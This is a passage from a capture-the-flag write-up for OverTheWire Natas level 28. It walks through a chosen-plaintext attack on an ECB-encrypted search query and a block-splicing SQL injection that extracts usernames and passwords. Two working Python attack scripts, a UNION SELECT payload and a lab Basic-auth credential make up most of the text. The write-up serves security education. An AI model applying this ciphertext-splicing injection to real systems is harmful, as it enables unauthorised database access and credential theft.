From:http://alkalinesecurity.com/blog/ctf-writeups/natas-28-getting-it-wrong/
Now that I knew it was ECB I decided to use a chosen plaintext attack, which would allow me to decrypt the portion of the ciphertext after the part that corresponded to the bytes of my query. I found another nice framework to carry this out, chosen-plaintext by EiNSeiN. Using this I produced the following code:
import requests from urllib import quote, unquote from chosen_plaintext import ChosenPlaintext class Client(ChosenPlaintext): def __init__(self): ChosenPlaintext.__init__(self) #self.block_size = 16 #self.plaintext_offset = 32 return def ciphertext(self, plaintext): print "[*] Trying plaintext: %s" % plaintext.encode("hex") headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="} resp = requests.post("http://natas28.natas.labs.overthewire.org/index.php", data={"query": plaintext}, headers=headers) data = unquote(resp.url.split("query=")[1]).decode("base64") print "[*] Got ciphertext: %s" % unquote(resp.url.split("query=")[1]).decode("base64").encode("hex") return data c = Client() c.run() print 'recovered', repr(c.plaintext)
But this code also failed after it found a single byte of plaintext: “%”! So again I thought the code must be wrong. However eventually I remembered that some query characters were being escaped which breaks the ability to perform the chosen plaintext attack beyond an occurrence of one of those characters. So now I knew the next two parts of the plaintext were % and an escaped character. After thinking for a little about it I concluded that it was %’ because it was the end of a SQL LIKE clause, something like “… WHERE joke_body LIKE ‘%{escaped_query}%’ …”. This fit the behavior of the script and made sense with those characters. So now I knew that the ciphertext was an ECB Mode Block Cipher encrypted SQL query. Now since ECB simply encrypts each block separately I could encrypt a block containing valid SQL syntax and then insert it after the %’ in the ciphertext in order to achieve SQL injection. The code below accomplishes this and prints out the password.
import requests from urllib import quote, unquote import re from pwn import * natas_url = "http://natas28.natas.labs.overthewire.org/index.php" search_url = "http://natas28.natas.labs.overthewire.org/search.php/?query=" #authorization header headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="} log.info("Retrieving first ciphertext") #pad plaintext to ensure it takes up a full ciphertext block plaintext = "A"*10 + "B"*14 resp = requests.post(natas_url, data={"query": plaintext}, headers=headers) #get the raw bytes of the ciphertext encoded_ciphertext = resp.url.split("query=")[1] ciphertext = unquote(encoded_ciphertext).decode("base64") #sql to inject into ciphertext query new_sql = " UNION ALL SELECT concat(username,0x3A,password) FROM users #" log.info("Appending query: %s" % new_sql) #pad plaintext to ensure it also takes up a whole number of ciphertext blocks plaintext = "A"*10 + new_sql + "B"*(16-(len(new_sql)%16)) offset = 48 + len(plaintext)-10 resp = requests.post(natas_url, data={"query": plaintext}, headers=headers) encoded_new_ciphertext = resp.url.split("query=")[1] new_ciphertext = unquote(encoded_new_ciphertext).decode("base64") encrypted_sql = new_ciphertext[48:offset] #add the encrypted new sql into the final ciphertext final_ciphertext = ciphertext[:64]+encrypted_sql+ciphertext[64:] resp = requests.get(search_url, params={"query":final_ciphertext.encode("base64")}, headers=headers) log.info("Response: %s" % re.findall("<li>(.*?)</li>", resp.content)[0])
This was a surprising and interesting challenge. It nicely demonstrates the weakness of ECB block ciphers when the attacker is able to partially control plaintext. It also demonstrated to me that I should never be so sure of my initial assessment that I am blinded when new evidence appears.
reference:
https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_concat